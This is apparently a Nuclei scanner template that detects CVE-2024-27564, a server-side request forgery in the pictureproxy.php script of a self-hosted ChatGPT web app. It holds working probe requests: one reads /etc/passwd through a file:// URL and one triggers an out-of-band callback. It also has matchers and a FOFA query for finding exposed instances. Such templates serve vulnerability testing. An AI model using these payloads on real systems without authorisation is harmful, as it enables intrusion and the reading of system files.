41 lines
1.2 KiB
YAML
41 lines
1.2 KiB
YAML
|
id: CVE-2024-27564
|
||
|
|
||
|
info:
|
||
|
name: ChatGPT个人专用版 `pictureproxy.php` - Server Side Request Forgery
|
||
|
author: DhiyaneshDK
|
||
|
severity: high
|
||
|
description: |
|
||
|
A Server-Side Request Forgery (SSRF) in pictureproxy.php of ChatGPT commit f9f4bbc allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the urlparameter.
|
||
|
reference:
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2024-27564
|
||
|
- https://github.com/dirk1983/chatgpt/issues/114
|
||
|
metadata:
|
||
|
max-request: 1
|
||
|
fofa-query: title="ChatGPT个人专用版"
|
||
|
verified: true
|
||
|
tags: cve,cve2024,chatgpt,ssrf,oast,oos
|
||
|
|
||
|
http:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- "{{BaseURL}}/pictureproxy.php?url=file:///etc/passwd"
|
||
|
- "{{BaseURL}}/pictureproxy.php?url=http://{{interactsh-url}}"
|
||
|
|
||
|
stop-at-first-match: true
|
||
|
|
||
|
matchers-condition: or
|
||
|
matchers:
|
||
|
- type: dsl
|
||
|
dsl:
|
||
|
- status_code == 200
|
||
|
- contains(header, "image/jpeg")
|
||
|
- regex('root:.*:0:0:', body)
|
||
|
condition: and
|
||
|
|
||
|
- type: dsl
|
||
|
dsl:
|
||
|
- contains(interactsh_protocol, "dns")
|
||
|
- contains(header, "image/jpeg")
|
||
|
- status_code == 200
|
||
|
condition: and
|